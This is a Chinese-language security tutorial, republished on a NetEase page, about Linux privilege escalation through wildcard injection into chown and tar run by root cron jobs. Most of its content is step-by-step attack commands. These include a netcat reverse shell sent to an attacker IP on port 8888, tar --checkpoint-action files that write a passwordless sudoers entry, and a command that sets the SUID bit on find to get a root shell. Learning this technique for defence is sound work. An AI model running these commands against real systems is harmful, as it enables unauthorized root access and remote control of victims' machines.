网易首页 > 网易号 > 正文 申请入驻

利用通配符进行Linux本地提权

0
分享至

本文我将为大家介绍一种非常有趣而又古老的UNIX黑客技术“通配符注入”。虽说这已不是什么新技术了,但在后渗透利用中仍可能成为你手中的一把制胜利器。相信阅读本文后,你将会对通配符有更加全面及深入的认识。好了,话不多说让我们开始吧!

通配符

通配符是一种特殊语句,主要有型号(*)和问号(?),用来对字符串进行模糊匹配(比如文件名,参数名)。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。

终端里面输入的通配符是由Shell处理的,不是由所涉及到命令语句处理的,它只会出现在命令的“参数值”里(它不用在命令名称里,命令不记得,那就用Tab补全)。当Shell在“参数值”中遇到了通配符时,Shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符实际上就是一种Shell实现的路径扩展功能。在通配符被处理后,Shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

部分通配符:

* 代表任意多个字符

? 代表任意单个字符

[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。

代表一个字符。

~ 用户的根目录。

示例1

首先,我们来创建一个新目录“wild”,并通过echo命令在每个创建的文件中写入一行内容。

cd /Desktop mkdir wild cd wild echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help

接着,使用cat命令尝试打开我们所创建的这3个文件:

cat file1 cat file 2 cat --help

你会发现,前两个文件我们可以正常打开并显示我们所写入的内容。但-help文件中的内容却无法读取,而是从自己的库中调用了自己的-help选项输出,这种技巧被称之为Wildcard wildness(通配符在野)。

Linux/Unix 是多用户多任务操作系统,所有的文件皆有其拥有者(Owner)。利用 chown命令 可以将文件的拥有者加以改变。一般来说,这个命令只能由系统管理者(root)使用,一般用户没有权限来改变别人的文件的拥有者,也没有权限可以将自己的文件的拥有者改设为别人。只有系统管理者(root)才有这样的权限。

超级管理员用户 (root) – 执行管理级任务,例如执行chown命令。

非root用户1(raj) – 执行普通任务,如创建文件

非root用户2(aarti) – 执行普通任务,如创建文件

恶意用户(Ignite) – 执行可导致文件所有者劫持的Chown文件引用技巧等任务。

在下图中你可以看到,所有PHP文件的所有者均为“raj”用户。此时用户ignite可以在同一目录中执行以下命令,使用文件引用技巧来劫持文件所有者。

–reference=<参考文件或目录>:把指定文件或目录的所有者与所属组,统统设置成和参考文件或目录的所有者与所属组相同。

cd ls -al echo "" > my.php echo > --reference=my.php

当root用户使用通配符修改所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。

如果此时root用户执行chown将所有PHP的所有权赋予用户aarti时,将会发生错误,,ignite用户将自动获取所有PHP文件的所有权。

chown -R aarti:aarti *.php ls -al

如果你对chown的开关选项有深入的了解的话,那么你一定知道下面这个选项。

–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)

在本文的例子中用户ignite执行以下命令:

echo "" > my.php echo > --reference=my.php

然后,root用户通过通配符来修改文件所有权。chown命令行采用了主观的’-reference = .my.php’文件,并将其作为选项传递给命令行中的chown命令。

Tar命令是Linux/Unix中非常常用的一个命令。借助它,我们可以对任何目录进行压缩备份。例如,创建一个新目录并赋予其777权限,然后创建一些文件。

mkdir html chmod 777 html cd html touch index.html touch raj touch file.txt

现在使用crontab创建一个定时任务,即每隔1分钟从/var/backups里面备份/html一次。

nano /etc/crontab */1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

执行以下命令来验证定时任务是否正常运作。

cd /var/backup ls

Tar通配符注入(方法1) 提权

启动攻击机并进入至对目标系统的提权阶段。这里假设我通过ssh成功登录到受害者的机器,并以非root用户权限访问其终端。 然后打开crontab查看是否有任何计划任务。

cat /etc/crontab

可以看到,这些任务都是以root权限执行的。其中有一个和tar有关的并且每分钟执行一次的计划任务,让我们尝试来利用它。

打开一个新终端,使用msfvenom生成nc反弹一句话,命令如下。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R

复制payload并将其粘贴至受害者的shell中。

nc -lvp 8888

现在粘贴上面复制的payload,并在受害者的tty shell中运行以下命令。

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1 tar cf archive.tar *

上述命令帮助tar命令在第一个文件归档后运行文件shell.sh。由于在crontab中tar是以root权限运行的,因此将会产生netcat shell并反弹至攻击机的8888端口。回到侦听端,你将在一分钟后获取到受害者机器的反向连接。

id

whoami

如果你对chown的选项开关有深入的了解的话,那么你一定知道下面这两个选项。

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)

–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

这里的‘–checkpoint-action’选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项‘–checkpoint=1’ 和 ‘–checkpoint-action=exec=sh shell.sh’作为命令行选项交给了tar程序。

这里我将为大家展示多种压缩备份的方法,以及特权提升技术。使用tar命令对目录进行压缩备份,例如,创建一个新目录并赋予其777权限,然后创建一些文件。

cd /tmp mkdir data cd data echo "" > f1 echo "" > f2 echo "" > f3 ls

现在在其他目录中编写一个bash脚本,通过tar命令备份/tmp/data。

mkdir info cd info nano script.sh chmod 777 script.sh

现在在crontab中创建一个计划任务,即每隔1分钟从/var/backups里面备份/html一次。

nano /etc/crontab */1 * * * * root /info/script.sh

1分钟后你会发现,backup.tgz文件生成并被保存在了info目录中。

启动攻击机并进入至对目标系统的提权阶段。这里假设我通过ssh成功登录到受害者的机器,并以非root用户权限访问其终端。 然后打开crontab查看是否有任何计划任务。

cat /etc/crontab

可以看到,这些任务都是以root权限执行的,其中有一个每分钟执行一次的bash脚本任务。通过cat命令读取内容后可得知,这里我们可以使用tar通配符注入利用。

打开一个新终端,使用msfvenom生成nc反弹一句话,命令如下。

复制payload并将其粘贴至受害者的shell中。

nc -lvp 8888

现在粘贴上面复制的payload,并在受害者的tty shell中运行以下命令。

上述命令帮助tar命令在第一个文件归档后运行文件shell.sh。由于在crontab中tar是以root权限运行的,因此将会产生netcat shell并反弹至攻击机的8888端口。回到侦听端,你将在一分钟后获取到受害者机器的反向连接。

whoami cd /root pwd Tar通配符注入(方法2) 提权

攻击者希望借助通配符注入攻击,获取目标系统的最高访问权限。因此,他们会尝试在tar的帮助下注入一些恶意代码用于root访问。这里有多种获取root访问权限的方法,你可以应用以下技术来提升特权。

尝试通过添加sudoers文件为非root用户授予sudo权限,命令如下。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh echo "" > "--checkpoint-action=exec=sh demo.sh" echo "" > --checkpoint=1 tar cf archive.tar *

在上述命令的帮助下,我们尝试赋予ignite用户root权限,并在1分钟后成功升级为了root权限账户。

sudo -l sudo bash whoami Tar通配符注入(方法3) 提权

我们还可以尝试为任意的系统二进制文件启用SUID位,同样地,你可以再次使用以下命令来获取root访问权限。

echo "chmod u+s /usr/bin/find" > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 tar cf archive.tar * ls -al /usr/bin/find find f1 -exec "whoami" \; root find f1 -exec "/bin/sh" \; id whoami

除了以上提到的这些方法外,其实还有很多tar注入提权的技巧和方法。希望这篇文章能帮助你打开思路。当然,如果你有更好更巧妙方法的话,也希望你不要吝啬把它分享给我和大家!

参考:https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

*参考来源:hackingarticles, FB小编 secist 编译,转载请注明来自FreeBuf.COM

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
埃兰加跪地以为出局 却不知自己正是瑞典晋级英雄

埃兰加跪地以为出局 却不知自己正是瑞典晋级英雄

元气满分吖
2026-06-27 00:32:53
小国奇迹!佛得角不败出线,1/16决赛将面对卫冕冠军阿根廷

小国奇迹!佛得角不败出线,1/16决赛将面对卫冕冠军阿根廷

红星新闻
2026-06-27 10:37:43
不装了!3战3胜,狂轰10球,11人参与进球独一份,冠军相藏不住了

不装了!3战3胜,狂轰10球,11人参与进球独一份,冠军相藏不住了

萌兰聊个球
2026-06-27 08:59:13
CBA最新消息!山东男篮引进国手后卫,朱俊龙确定签约

CBA最新消息!山东男篮引进国手后卫,朱俊龙确定签约

体坛瞎白话
2026-06-27 06:53:38
受权发布|全国人民代表大会常务委员会决定免职的名单

受权发布|全国人民代表大会常务委员会决定免职的名单

新华社
2026-06-26 23:10:05
6月前三周全国乘用车市场零售91.3万辆

6月前三周全国乘用车市场零售91.3万辆

大象新闻
2026-06-27 12:14:02
外媒:中国不可怕,可怕的是中国用太阳能电池板,消灭了沙漠!

外媒:中国不可怕,可怕的是中国用太阳能电池板,消灭了沙漠!

离离言几许
2026-06-26 00:36:23
洪秀柱直言敲打:既然不愿扛起统一大旗,何必身居国民党主席之位

洪秀柱直言敲打:既然不愿扛起统一大旗,何必身居国民党主席之位

谁将主宰未来
2026-06-21 09:57:43
点击破百万!Angelababy深夜陪娃吃汉堡素颜照

点击破百万!Angelababy深夜陪娃吃汉堡素颜照

人间娱事集
2026-06-26 08:05:12
德国考虑弃用诺伊尔?致命失误令赌局悬空

德国考虑弃用诺伊尔?致命失误令赌局悬空

慢享生活集
2026-06-27 01:26:51
轰25+11!中国女篮20岁1米86混血前锋崛起:偶像是李梦

轰25+11!中国女篮20岁1米86混血前锋崛起:偶像是李梦

李喜林篮球绝杀
2026-06-26 16:54:04
163的王祖蓝和175的老婆换裤子穿,一个成人行拖把,一个成7分裤

163的王祖蓝和175的老婆换裤子穿,一个成人行拖把,一个成7分裤

木子爱娱乐大号
2026-06-22 10:21:23
央视曝光奇葩“折叠纸头盔”:实测徒手用力一拧,7根骨架全部被折断

央视曝光奇葩“折叠纸头盔”:实测徒手用力一拧,7根骨架全部被折断

91.6陕西交通广播
2026-06-26 07:05:51
别再关注韩红了,冯小刚的《抓特务》,问题超乎你的想象!

别再关注韩红了,冯小刚的《抓特务》,问题超乎你的想象!

青橘罐头
2026-06-27 09:29:46
白俄罗斯关闭信号中继器,卢卡申科准备离开白俄罗斯

白俄罗斯关闭信号中继器,卢卡申科准备离开白俄罗斯

山河路口
2026-06-25 09:05:47
众星祝贺杨紫获白玉兰最佳女主角,杨紫半夜回复,在圈内人缘真好

众星祝贺杨紫获白玉兰最佳女主角,杨紫半夜回复,在圈内人缘真好

生命之泉的奥秘
2026-06-27 12:48:35
烧掉60美元才明白,这个曾经的“必备神器”已沦为家庭监控的智商税

烧掉60美元才明白,这个曾经的“必备神器”已沦为家庭监控的智商税

薛定谔的BUG
2026-06-26 10:29:47
4000多万电车,或成致命危机!电池寿命8年,车身寿命设定也一样

4000多万电车,或成致命危机!电池寿命8年,车身寿命设定也一样

柏铭锐谈
2026-06-25 01:13:09
为什么今年没人提“消费降级”了?

为什么今年没人提“消费降级”了?

黯泉
2026-05-20 17:47:21
ESPN:字母哥明确不会与至少四支有意得到他的球队续约

ESPN:字母哥明确不会与至少四支有意得到他的球队续约

北青网-北京青年报
2026-06-27 12:53:16
2026-06-27 13:44:49
FreeBuf
FreeBuf
互联网安全新媒体
5548文章数 1757关注度
往期回顾 全部

头条要闻

女子与大爷发生关系将自己娃留他家 大爷殴打婴儿致死

头条要闻

女子与大爷发生关系将自己娃留他家 大爷殴打婴儿致死

体育要闻

世界杯最火门将,站到了阿根廷和梅西面前

娱乐要闻

杨紫获白玉兰最佳女主角奖,泪洒现场

财经要闻

OpenAI推迟IPO重创软银!

科技要闻

GPT-5.6发布,你暂时用不了!Mythos也放行

汽车要闻

11.99万起 捷途自由者7 PLUS/山海T1四驱版上市

态度原创

本地
时尚
艺术
公开课
军事航空

本地新闻

世界杯球迷节:比球赛更好玩的派对

“这件衣服”今年夏天越来越流行!简单穿就很好看

艺术要闻

李晓林 2026年人物写生新作

公开课

李玫瑾:为什么性格比能力更重要?

军事要闻

黎以美达成三方框架协议

无障碍浏览 进入关怀版